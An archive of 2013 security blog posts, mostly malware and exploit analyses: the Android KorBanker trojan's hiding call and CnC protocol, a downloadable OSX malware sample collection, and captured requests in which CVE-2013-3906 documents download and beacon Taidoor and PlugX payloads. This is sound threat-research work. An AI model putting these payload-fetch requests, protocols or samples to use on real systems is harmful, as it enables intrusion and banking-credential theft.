Monthly Archives: November 2013

MS Windows Local Privilege Escalation Zero-Day in The Wild

FireEye Labs has identified a new Windows local privilege escalation vulnerability in the wild. The vulnerability cannot be used for remote code execution but could allow a standard user account to execute code in the kernel. Currently, the exploit appears to only work in Windows XP.

This local privilege escalation vulnerability is used in-the-wild in conjunction with an Adobe Reader exploit that appears to target a patched vulnerability. The exploit targets Adobe Reader 9.5.4, 10.1.6, 11.0.02 and prior on Windows XP SP3. Those running the latest versions of Adobe Reader should not be affected by this exploit.

Post exploitation, the shellcode decodes a PE payload from the PDF, drops it in the temporary directory, and executes it.


The following actions will protect users from the in-the-wild PDF exploit:

1) Upgrade to the latest Adobe Reader

2) Upgrade to Microsoft Windows 7 or higher

This post was intended to serve as a warning to the generic public. We are collaborating with the Microsoft Security team on research activities. Microsoft assigned CVE-2013-5065 to this issue.

We will continue to update this blog as new information about this threat is found.

[Update]: Microsoft released security advisory 2914486 on this issue.

Dissecting Android KorBanker

FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

The app targets the following banks, all of which are based in Korea.

  • Hana Bank
  • IBK One
  • KB Kookmin Bank
  • NH Bank
  • Woori Bank
  • Shinhan Bank

Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.


The user sees the messages in Figure 1 and Figure 2.


The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

getPackageManager().setComponentEnabledSetting(new ComponentName("", ""), 2, 1)

The arguments “2” and “1” which are being passed to the above function are explained below.

The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

Initial registration protocol

The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

Top-level app

The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.


Figure 3: KorBanker data packet during registration

The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0x07(decimal 7) which translates to the string addUserReq.

Outlined in yellow is length indicator — 0x71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

The response bytes shown in black containing 0x04 and 0x01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.


Figure 4: KorBanker code for sending incoming messages to CnC server

Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server on port 8888 as shown in Figure 4.

The bytes highlighted in red after the response show the message code of 0x08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.


Fake banking app 

The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.


Figure 5: Data capture showing the installation of the fake banking app 

Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object. korbanker_6

The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘ as follows:

{ "renzheng" : "1234",

"fenli" : "1234",

"datetime" : "2013-08-12 12:32:32",


"bankinid": '1234',

"jumin": '1234',

"banknum" : '1234',

"banknumpw" : '1234',

"paypw" : 'test',

"scard" : "1234567890",

"sn1" : "1234",

"sn2" : "1234",

"sn3" : "1234",



"sn34" : "1234",

"sn35" : "1234"


The response received is as follows:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Connection: close

Content-Type: text/html

Date: Fri, 22 Nov 2013 02:05:00 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT



This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

Episode #172: Who said bigger is better?

Tim sweats the small stuff

Ted S. writes in:

"I have a number of batch scripts which turn a given input file into a configurable amount of versions, all of which will contain identical data content, but none of which, ideally, contain the same byte content. My problem is, how do I, using *only* XP+ cmd (no other scripting - PowerShell, jsh, wsh, &c), replace the original (optionally backed up) with the smallest of the myriad versions produced by the previous batch runs?"

This is pretty straight forward, but it depends on what we want to do with the files. I assumed that the larger files should be deleted since they are redundant. This will leave us with only the smallest file in the directory. Let's start off by listing all the files in the current directory and sort them by size.

C:\> dir /A-D /OS /b

Sorting the files, and only files, in the current directory by size is pretty easy. The "/A" option filters on the object's properties and directories are filtered out with "-D". Next, the "/O" option is used to sort and the "S" tells the command to sort putting the smallest files first. Finally, the "/b" is used to show the bare format.

At this point we have the files in the proper order and in a nice light format. We can now use a For loop to delete everything while skipping the first file.

C:\> for /F "tokens=* skip=1" %i in ('dir /A-D /OS /b') do @del %i

Here is the same functionality in PowerShell:

PS C:\> Get-ChildItem | Where-Object { -not $_.PSIsContainer } | Sort-Object -Property Length | Select-Object -Skip 1 | Remove-Item

This is mostly readable. The only exception is the "PSIsContainer". Directories are container objects but files are not, so we filter out the containers (directories). Here is the same command shortented using aliases and positional parameters:

PS C:\> ls | ? { !$_.PSIsContainer } | sort Length | select -skip 1 | rm

There you go Ted, and in PowerShell even though you didn't want it. Here comes Hal brining something even smaller you don't want.

Hal's is smaller than Tim's... but less sweaty

Tim, how many times do I have to tell you, smaller is better when it comes to command lines:

ls -Sr | tail -n +2 | xargs rm

It's actually not that different from Tim's PowerShell solution, except that my "ls" command has "-S" to sort by size as a built-in. We use the "-r" flag to reverse the sort, putting the smallest file first and skipping it with "tail -n +2".

If you're worried about spaces in the file names, we could tart this one up a bit more:

ls -Sr | tail -n +2 | tr \\n \\000 | xargs -0 rm

After I use "tail" to get rid of the first, smallest file, I use "tr" to convert the newlines to nulls. That allows me to use the "-0" flag to "xargs" to split the input on nulls, and preserves the spaces in the input file names.

What may be more interesting about this Episode is the command line I used to create and re-create my files for testing. First I made a text file with lines like this:

1 3
2 4
3 1
4 2

And then I whipped up a little loop action around the "dd" command:

$ while read file size; do 
dd if=/dev/zero bs=4K count=$size of=file$file;
done <../input.txt

3+0 records in
3+0 records out
12288 bytes (12 kB) copied, 6.1259e-05 s, 201 MB/s
4+0 records in
4+0 records out
16384 bytes (16 kB) copied, 0.000144856 s, 113 MB/s
1+0 records in
1+0 records out
4096 bytes (4.1 kB) copied, 3.4961e-05 s, 117 MB/s
2+0 records in
2+0 records out
8192 bytes (8.2 kB) copied, 4.3726e-05 s, 187 MB/s

Then I just had to re-run the loop whenever I wanted to re-create my test files after deleting them.

Interview with Martin Roesch, Drunken Security News – Episode 354 – November 21, 2013

Martin Roesch is the VP and chief architect, Security Business Group at Cisco.A respected authority on intrusion prevention and detection technology and forensics, he is responsible for the technical direction and product development efforts for Sourcefire's commercial and open source product offerings. Roesch, who has nearly 20 years of industry experience in network security and embedded systems engineering, is also the author and lead developer of the Snort® Intrusion Prevention and Detection System ( that forms the foundation for the Sourcefire Next-Generation IPS.

OSX malware and exploit collection (~100 files) + links and resources for OSX malware analysis

'Tis the season.

Here is a nice collection of ~100 Mac OS malware and Word document exploits carrying MacOS payload (all are CVE-2009-0563) along with links for OSX malware analysis.

Please send your favorite tools for OSX if they are not listed.


Stack-based buffer overflow in Microsoft Office Word 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Microsoft Office for Mac 2004 and 2008; Open XML File Format Converter for Mac; Microsoft Office Word Viewer 2003 SP3; Microsoft Office Word Viewer; and Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a Word document with a crafted tag containing an invalid length field, aka "Word Buffer Overflow Vulnerability."


Some OSX malware analysis tools and links 


Malware in the provided package - links to research and news articles


Download. Email me if you need the password
Additional older downloads

  1. OSX_Docklight payload 
  2. misc OSX malware on contagio
  3. 30 samples of ancient Mac OS malware

List of files provided in this post

  1. OSX_AoboKeylogger_362D5DDB3924C625589B42030B66CA69
  2. OSX_BackTrack-A_B03276BFBF85CFDD7C8998004C1200DA
  3. OSX_Boonana_B3A0B0DA5AA01FF200CEBC8AF359A3C3
  4. OSX_ChatZum_487E5CD581587D63783CDD356DE9CF24
  5. OSX_ChatZum_57A4EB15CAA4FCC0A8F6AFBBD66C4859
  6. OSX_Clapzok_99FE5AD5FF514F5AAEA8E501DDBAF95B
  7. OSX_Crisis_04BBDA5B11FA0FD3C767CAF4719D6A4D
  8. OSX_Crisis_42C112036E319ED8DF0F55C7F4C0DA85
  9. OSX_CrisisBOSX_CrisisB_a32e073132ae0439daca9c82b8119009 _a32e073132ae0439daca9c82b8119009 
  10. OSX_Crisis_59FE83E0AE12E085E0FA301ECCA6776F
  11. OSX_Crisis_6F055150861D8D6E145E9ACA65F92822
  12. OSX_Crisis_A32E073132AE0439DACA9C82B8119009_Biglietto Visita
  13. OSX_Crisis_ACEC5F00057D3EC94849511F3EDDCB91
  14. OSX_Crisis_FAAB883598C8C379ACFD0B9DCCC93D0C
  15. OSX_Dockster_Backdoor_C6CA5071907A9B6E34E1C99413DCD142
  16. OSX_FkCodec_74812C7B6E0A55347284ABFA7D5670BF
  17. OSX_FkCodec_74812C7B6E0A55347284ABFA7D5670BF_Codec-M
  18. OSX_FkCodec_B4ECE10D1E706B87B065523A654D48A7_download.dmg
  19. OSX_FkCodec1C5AE9F1DD9FE6F506EAABD382925CA8_codec-M.safariextz
  20. OSX_Flashback_3DCB6D6A9EA8D9755EB61AE057B3D74A
  21. OSX_Flashback_9FCFE8EF92F51F1C29A26E1516EF7003_FlashPlayer-11-macos.pkg
  22. OSX_Flashback_C2819C3C183BBF7547CF76C6A004EA15_FlashPlayer-11-macos.pkg
  23. OSX_Fucobha_IceFog_A615DD792093191E9FC975132A2DB409A_CleanMyMac
  24. OSX_Fucobha_IceFog_B4249F9B49A9A177B4D2F4439373029A
  25. OSX_Fucobha_IceFog_CF1815491D41202EB8647341A8695E1E
  26. OSX_GetShell_68078CBD1A34EB7BE8A044287F05CCE4
  27. OSX_GetShell_AC99ACE403D31C7079C938F9B0FD0895
  28. OSX_GetShell_ACC2B4A595939F17F7D07DE2CF75CDC8
  29. OSX_Hacktool_Hoylecann_FED8E22AE6F080F9B05A309C7E48B5EF
  30. OSX_HellRaiser_CA74984601287459AFB7B39EBEBDD394
  31. OSX_HellRTS.AH_KeystrokeRecorder X Pref Editor_C19377D07A234D1585D85F8FA3CF77FB
  32. OSX_HellRTS_F1AD75AEB4B4C2883DF2221C8804DA2A.AH
  33. OSX_Hovdy_Backdoor_FED713CAC7012D25F60B236E6DDCF513
  35. OSX_Iservice_4C9E7EE7C0F5C19C68B45CA6C81F8D62
  36. OSX_Iservice_E34BA325F3EEB8DF07A09EE9FBF1071D
  37. OSX_Jahlav_12F32EACBB3CD2C5623EE6976A51913A_QuickTime.xpt
  38. OSX_Jahlav_CCB72243EF478EEFE90B5898EC32389B
  39. OSX_Jahlav_D7DDF72D17F889C2C5B302AC0A5FBDC5
  42. OSX_Kitmos_A_39FAA22EB9D6B750EC345EFCB38189F5
  43. OSX_Kitmos_A_3AA9C558D4D5F1B2A6D3CE47AA26315F
  44. OSX_Kitmos_A_B3D49091875DE190F200110C2F2032D4
  45. OSX_Lamadai_20F0D0CE8A413A51EB16DEE860021E6A
  46. OSX_Lamadai_DE90189F040494E3708D83A33E37E40E
  47. OSX_Leverage_A_Backdoor_C425D2BE8B4AF733A44EC1518F182BE8
  48. OSX_LocalRoot_3DC01743FB42E917E9F9EDE5009F10CD
  49. OSX_Macarena_A_BFC7B7B9D3E1DF9D6E1A31D3E7BED628
  50. OSX_MacDefender_8AE7163C7C3C02564A4C69DF1F7C483E_Archive.pax
  51. OSX_MacDefender_E187F4071723808560E135647245562A_Archive.pax
  52. OSX_MacKontrol_89C35C057655E67580EFD0FF8242D960
  53. OSX_MacKontrol_E88027E4BFC69B9D29CAEF6BAE0238E8_matiriyal.dmg
  54. OSX_Macsweeper_4836CC480796386ED6929C38E5AAD525
  55. OSX_Miner_DevilRobber_417369B713F1A5F3A3DC0DAF76BDCFD6
  56. OSX_Miner_DevilRobber_EE2BA586232007FA41703EB120AC7408
  57. OSX_Miner_F8EBF03E88928EBF91A8420E3D5993FE
  58. OSX_Olyx_Backdoor_93A9B55BB66D0FF80676232818D5952F
  59. OSX_Olyx_Backdoor_93A9B55BB66D0FF80676232818D5952F_Current events 2009 July 5
  62. OSX_PSides_32F4792B1141BA259067F9613E2E88B5
  63. OSX_PUP_AABEDBAAB63EF19657A3A82C930CCE18_Genieo_InstallGenieo.dmg
  64. OSX_PUP_PerfectKeylog_1B192319C8F41036A2D6B8E987809D42
  65. OSX_Renepo_80753666A54A8AE97BD6ED3A4E2F3702
  66. OSX_RevirA_FE4AEFE0A416192A1A6916F8FC1CE484_revir-a.dmg
  67. OSX_RevirC_Imuler_7DBA3A178662E7FF904D12F260F0FFF3
  68. OSX_Safari_B24C0E60AF3D3E836FBE8A92FBCC8EB7.dat
  69. OSX_SniperSpy
  70. OSX_Wirenet_50D4F0DA2E38874E417BD13B59F4C067
  71. OSX_Wirenet_B56AD86A4BACEF92EF46D36EABEF6467
  72. OSX_Wirenet_D048F7AE2D244A264E58AF67B1A20DB0
  73. OSX_Yontoo_16ACCB0ABC051D667640B1EE4FF3A7A1
  74. OSX_Yontoo_7C433B3AC0E8072BA5E6B57298E1B28B
  75. OSXWeapoX_7FDEBB5FEC63FB3739A79A66265BB765

OSX_CVE-2009-0563 targeting Tibetan and Uyghur activists (filenames shortened here)

  2. _Uighur Han unrest.doc
  3. 0E945428D07464EC33EBDFF5712FE788_C2-update.googmail.org_Jenwediki yighingha.doc
  4. 1218840F3B66832CC58C33C75AD3D419_C2-update.googmail.org_Uyghur_Xitayning Yengi Rehberlik.doc
  5. _Rabiye_hanim_bilen_Dolkun_Isa.doc
  6. 2567399683111CFCB838C5DA80DF181D_Tibetan Parliament urges World to take concrete step on Tibet.doc
  7. 28821C5FD38B11EE630D87961C11A3D7_DUQning reyisi namzatlar isimliki.doc
  8. 3D28AE551B9BD4C62FFC6C72F5668D96_Tibet_The United Nations Commission for Human Rights.doc
  9. 3D90D04C09C6B4D5D52888C89BDE9685_Tibetan Parliament urges World.doc
  10. 567ECE88B2D6F4F12F0D0760C30605EE_C2-apple12.crabdance.com_list.doc
  11. 58A0A5824A6B30EA7EEBBB51818AE04B_uYGHUR_Jenwe yinghinining xeweri.doc
  12. 786A7D1A1DCEC50E6A89E3CC8F33A3AE_Uyghur_Dunya Uyghur Qurultayigha iane qilish toghrisida.doc
  13. 7D7A5C530A7DBF24C42145A0EFCC8669_kurban-bayrami.doc
  14. 8618BCCB98F7D20634EBEDC488981E86_C2-update.googmail.org_email73.doc
  15. 908116A30F53EDF9D1749E3F0F267680_Website-TGSL.doc
  16. 9F9F96D5C882528D08315201042647DF_C2-update.googmail.org_Uyghur_The Duke Program.doc
  18. C024E159A96F3292915B257070FC3325_Sartin-TGSL.doc
  19. DD7C486BC17772A5E96425271FA5ED4D_c2-apple12.crabdance.com_10. Jahresgedenktag.doc
  21. E683339BCCFDEB0F06C7E567F2C284C5_Planning for action.doc
  22. ECE44C00D46BE019AFF38FD5D31B9110_C2-update.googmail.org_UAA 2012 Saylam Komtiti saylam.doc
  23. F81775C93F7337E0664F1D106E13C7B3_C2-update.googmail.org_Uyghur_Human Rights Education.doc
  24. FBE399BF714184ED7FEA313F36A86514_C2-apple12.crabdance.com_Uyghur_Putun Dunyadiki Sherqi.doc
  25. MacOSSabpub-A_43F281076E185E55BECE7EB2F0EC8164.doc

Reporting Suspicious Styles

Back in 2008, the very first task that I created Unmask Parasites for was scanning web pages for hidden links.

I read an article about thousands of WordPress blogs being stuffed with dozens of invisible spammy links. I had a self-hosted WordPress blog too and that article made me think if there was some easy way to figure out whether my blog was hacked, something less laborious than manually examining the HTML code link by link. So I decided to create a tool that would show all domains that my web pages linked to highlighting those of them that had “invisible” styles. This approach has proved to be very efficient in identifying black hat SEO hacks. In most cases, a glance is enough to spot such problems.

It works well even when the tool doesn’t highlight links as “hidden” (either because the “hiding rule” was not detected or because it scanned the “cloaked” page created specifically for search engines). You can still see the links that clearly don’t belong to your site, which tells you that something’s wrong.

However, looking for suspicious links is not the bullet-proof method for detecting spam injection issues. For example, in my yesterday’s post on Sucuri blog, I wrote about fake WordPress plugins that used to injects spammy links and a JavaScript code into web pages. However, at the moment, they inject some hidden spammy auto-generated text that doesn’t have any links.

spammy block

You can use this Google query to reveal affected sites [cigarettes AND (“3200 unhealthy” OR “3300 hazardous”)]

I don’t know why they do it, but webmasters should definitely be warned about such injections because it’s a sign of a problem that should be fixed as soon as possible. This is actually more serious than just a factor that can potentially affect site’s search ranking. Those fake plugins fetch the spammy content from remote servers and inject it into blog pages on the fly. This means that hackers can change it any time and the same moment the new spammy block will be injected into all compromised sites. Or it can be a malicious block, which makes things more serious as it will affect all visitors to those sites too.

Unfortunately, such injections were not reported by Unmask Parasites since there were no links in the spammy block. After thinking about the problem, I decided that Unmask Parasites should also report pure HTML tricks such as that clip:rect style trick that hackers use to hide their injections.

So , starting this week, you may see the “Suspicious Styles” section in Unmask Parasites reports.

suspicous style

In this section, you will see excerpts of the style definitions that Unmask Parasites considers suspicious. If you see it in your site reports, then you should check the HTML code of your pages and figure out whether that style is a normal part of your pages or it was added there to hide something illicit.

Note, if you can’t find such code in your web pages, it doesn’t mean it is not there. The code injection can be conditional, and server files may fetch it from a remote location (as in this case with fake WordPress plugins), or it can be encrypted. Just remember that Unmask Parasites works in real time (some results may be cached for up to an hour) and if it reports something, then you can be sure it was on a web page at the moment of scanning.

To Unmask Parasites users

If you like Unmask Parasites and want to help improve it, you can inform me about interesting tricks that hackers use to hide injected content Or send me examples of infected web pages where Unmask Parasites doesn’t report any problems.


Related posts:

Is MAM Identity and Access Management’s next big thing?

Mobile Application Management is making waves. Recent news from Oracle, IBM, and Salesforce highlight the market interest. It's a natural extension of what you've been hearing at Identity trade shows over the past few years (and this year's Gartner IAM Summit was no exception). The third platform of computing is not a future state. It's here. And Identity and Access solutions are adapting to accommodate the new use case scenarios. ...onward and upward.

[Update - interesting discussion of the IAM technology stack for mobile by SIMIEO]

Advanced Malware Analysis Training Session 10 – (Part 1) Reversing & Decrypting Communications of HeartBeat RAT

  Here is the quick update on this month’s Local Security meet (SX/Null/G4H/owasp) and our advanced malware training session on (Part 1) Reversing & Decrypting Communications of HeartBeat RAT This is part of our FREE ‘Advanced Malware Analysis Training’ series started from Dec 2012.       In this extended session, I explained “Decrypting The […]

Monitoring Vulnaggressive Apps on Google Play

Vulnaggressive Characteristics in Mobile Apps and Libraries

FireEye mobile security researchers have discovered a rapidly-growing class of mobile threats represented by popular ad libraries affecting apps with billions of downloads. These ad libraries are aggressive at collecting sensitive data and able to perform dangerous operations such as downloading and running new code on demand. They are also plagued with various classes of vulnerabilities that enable attackers to turn their aggressive behaviors against users. We coined the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics. We have published some of our findings in our two recent blogs about these threats: “Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions” and “Update: Ad Vulna Continues”.

As we reported in our earlier blog “Update: Ad Vulna Continues”, we have observed that some vulnaggressive apps have been removed from Google Play, and some app developers have upgraded their apps to a more secure version either by removing the vulnaggressive libraries entirely or by upgrading the relevant libraries to a more secure version which address the security issues. However, many app developers are still not aware of these security issues and have not taken such needed steps. We need to make a community effort to help app developers and library vendors to be more aware of these security issues and address them in a timely fashion.

To aid this community effort, we present the data to illustrate the changes over time as vulnaggressive apps are upgraded to a more secure version or removed from Google Play after our notification. We summarize our observations below, although we do not have specific information about the reasons that caused these changes we are reporting.

We currently only show the chart for one such vulnaggressive library, AppLovin (previously referred to by us as Ad Vulna for anonymity). We will add the charts for other vulnaggressive libraries as we complete our notification/disclosure process and the corresponding libraries make available new versions that fix the issues.

The Chart of Apps Affected by AppLovin

AppLovin (Vulna)’s vulnerable versions include 3.x, 4.x and 5.0.x. AppLovin 5.1 fixed most of the reported security issues. We urge app developers to upgrade AppLovin to the latest version and ask their users to update their apps as soon as the newer versions are available.

The figure below illustrates the change over time of the status of vulnerable apps affected by AppLovin on Google Play. In particular, we collect and depict the statistics of apps that we have observed on Google Play with at least 100k downloads and with at least one version containing the vulnerable versions of AppLovin starting September 20. Over time, a vulnerable app may be removed by Google Play (which we call “removed apps”, represented in gray), have a new version available on Google Play that addresses the security issues either by removing AppLovin entirely or by upgrading the embedded AppLovin to 5.1 or above (which we call “upgradable apps”, represented in green), or remain vulnerable (which we call “vulnerable apps”, represented in red), as shown in the legend in the chart.

Please note that we started collecting the data of app removal from Google Play on October 20, 2013. Thus, any relevant app removal between September 20 and October 20 will be counted and shown on October 20. Also, for each app included in the chart, Google Play shows a range of its number of downloads, e.g., between 1M and 5M. We use the lower end of the range in our download count so the statistics we show are conservative estimates.


We are glad to see that over time, many vulnerable apps have been either removed from Google Play or have more secure versions available on Google Play. However, apps with hundreds of millions of downloads in total still remain vulnerable. In addition, note that while removing vulnaggressive apps from Google Play prevents more people from being affected, the millions of devices that already downloaded them remain vulnerable since they are not automatically removed from the devices. Furthermore, because many users do not update their downloaded apps often and older versions of Android do not auto-update apps, even after the new, more secure version of a vulnerable app is available on Google Play, millions of users of these apps will remain vulnerable until they update to the new versions of these apps on their devices. FireEye recently announced FireEye Mobile Threat Prevention. It is uniquely capable of protecting its customers from such threats.

Interview with Kyle “esSOBI” Stone, Deciphering Episode 350’s Crypto Challenge – Episode 353, Part 1 – November 14, 2013

Kyle is an information security engineer who devotes his spare time to exploiting the ‘internet of things’. He enjoys lockpicking, CTFs, tinkering with electronics, exploit development and blogging about his findings. He is the founding member of Louisville Organization of Locksport.

Walkthrough the Episode 350 Crypto Challenge puzzle with Mike Connor, a senior member of the Analysis team at Dell SecureWorks. He is a big supporter of all things Chicago, specifically THOTCON , BsidesChicago, and all of the different Burbsec groups.

Interview with Dan Philpot, Stealing Tokens for Privilege Escalation, Exploit Development with – Episode 351 – October 28, 2013

Dan Philpott is a Solutions Architect with Natoma Technologies working with Federal customers on cloud computing and federal information security projects. His work focuses on federal information security initiatives including FISMA, cybersecurity, FDCC, USGCB, HSPD-12, risk management and other federal information assurance initiatives. Has worked on federal cloud computing security with the Cloud Security Alliance and has participated in Federal CIO Council cloud and FedRAMP efforts. Founder of, information security instructor with Potomac Forum and co-author of "FISMA and the Risk Management Framework" from Syngress. He is fully buzzword compliant and an owner of the coveted Application Security Specialist baseball cap, known in security circles as the ASS hat.

Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906

Last week, we blogged about a zero-day vulnerability (CVE-2013-3906) that was being used by at least two different threat groups. Although it was the same exploit, the two groups deployed it differently and dropped very different payloads. One group, known as Hangover, engages in targeted attacks, usually, against targets in Pakistan. The second group, known as Arx, used the exploit to spread the Citadel Trojan, and we have found that they are also using the Napolar (aka Solar) malware. [1]

Looking at the time of the first known use of the exploit, we noted that the Arx group appeared to have had access to this exploit prior to the Hangover group. Subsequent research by Kaspersky has found that this exploit was used in July 2013 to spread a cross-platform malware known as Janicab. Interestingly, the Janicab samples have exactly the same CreateDate and ModifyDate as the Arx samples. However, the ZipModifyDate is different. They also contain the same embedded TIFF file (aa6d23cd23b98be964c992a1b048df6f).

While the Janicab activity dates the use of CVE-2013-3906 to July, other groups, including those associated with advanced persistent threat (APT) activity, have now begun to use this exploit as well. We have found that CVE-2013-3906 is now being used to drop Taidoor and PlugX (which we call Backdoor.APT.Kaba). Interestingly, the version of the exploit used contains elements that are consistent with the Hangover implementation. Both the Taidoor and PlugX samples have EXIF data that is consistent with a Hangover sample. In addition, the samples share the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1).


The Taidoor malware has been used in numerous targeted attacks that typically affect Taiwan-related entities. We recently blogged about modifications that have been made to the Taidoor malware. This new version of Taidoor is being dropped by malicious documents using the CVE-2013-3906 exploit. The malware is being distributed via an email purporting to be from a Taiwanese government email address.


The Taidoor sample we analyzed (6003b22d22af86026afe62c39316b9e0) has the same CreateDate and ModifyDate as the Hangover samples we analyzed. It also shares an exact ZipModifyDate with one of the Hangover samples. (There are variations in the ZipModifyDate among the Hangover samples).

  • CreateDate                : 2013:10:03 22:46:00Z
  • ModifyDate                : 2013:10:03 23:17:00Z
  • ZipModifyDate           : 2013:10:17 14:21:23

It also contains other EXIF data that matches a Hangover sample (and the PlugX sample discussed below):

  • App Version                     : 12.0000
  • Creator                            : Win7
  • Last Modified By              : Win7
  • Revision Number             : 1

The sample also contains the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1). This indicates that they were probably built with the same weaponizer tool.

After the exploit is triggered a connection is made to a retrieve an EXE from a webserver:

GET /o.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


Connection: Keep-Alive

This EXE is Taidoor and it is configured to beacon to two command and control (CnC) servers: and

GET /user.jsp?ij=oumded191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


Connection: Keep-Alive

Cache-Control: no-cache

GET /parse.jsp?js=iwmnxw191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


Connection: Keep-Alive

Cache-Control: no-cache

We have located an additional sample (5c8d7d4dd6cc8e3b0bd6587221c52102) that also retrieves Taidoor:

GET /suv/update.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


Connection: Keep-Alive

This sample beacons to the command and control server: (

GET /parse.jsp?ne=vyhavf191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)


Connection: Keep-Alive

Cache-Control: no-cache

PlugX (Kaba)

The PlugX malware (aka Backdoor.APT.Kaba) has been used in a variety of targeted attacks. We located a malicious document (80c8ce1fd7622391cac892be4dbec56b) that exploits CVE-2013-3906. This sample contains the same CreateDate and ModifyDate and shares a common ZipModifyDate with both the Taidoor samples and one of the Hangover samples.

  • CreateDate                : 2013:10:03 22:46:00Z
  • ModifyDate                : 2013:10:03 23:17:00Z
  • ZipModifyDate           : 2013:10:17 14:21:23

After exploitation, there is a connection to ( that downloads a PlugX executable:

GET /css/css.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


The malware (423eaeff2a4576365343e6dc35d22042) begins to beacon to and, which both resolve to The callback of the PlugX samples is:

POST /8A8DAEE657205D651405D7CD HTTP/1.1

Accept: */*

FZLK1: 0

FZLK2: 0

FZLK3: 61456

FZLK4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)


Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache


An increasing number of threat groups now have access to CVE-2013-3906. These threat groups include those that use the Taidoor and PlugX malware families to conduct targeted attacks. We expect this exploit to continue to proliferate among threat groups engaged in APT activity.


1.  The MD5 hashes for Arx group samples that dropped Napolar are:  5e4b83fd11050075a2d4913e6d81e553  and f6c788916cf6fafa202494658e0fe4ae. The CnC server was: /

Supply Chain Analysis: From Quartermaster to Sunshop

Today, we released a new report from FireEye Labs entitled Supply Chain Analysis: From Quartermaster to Sunshop .

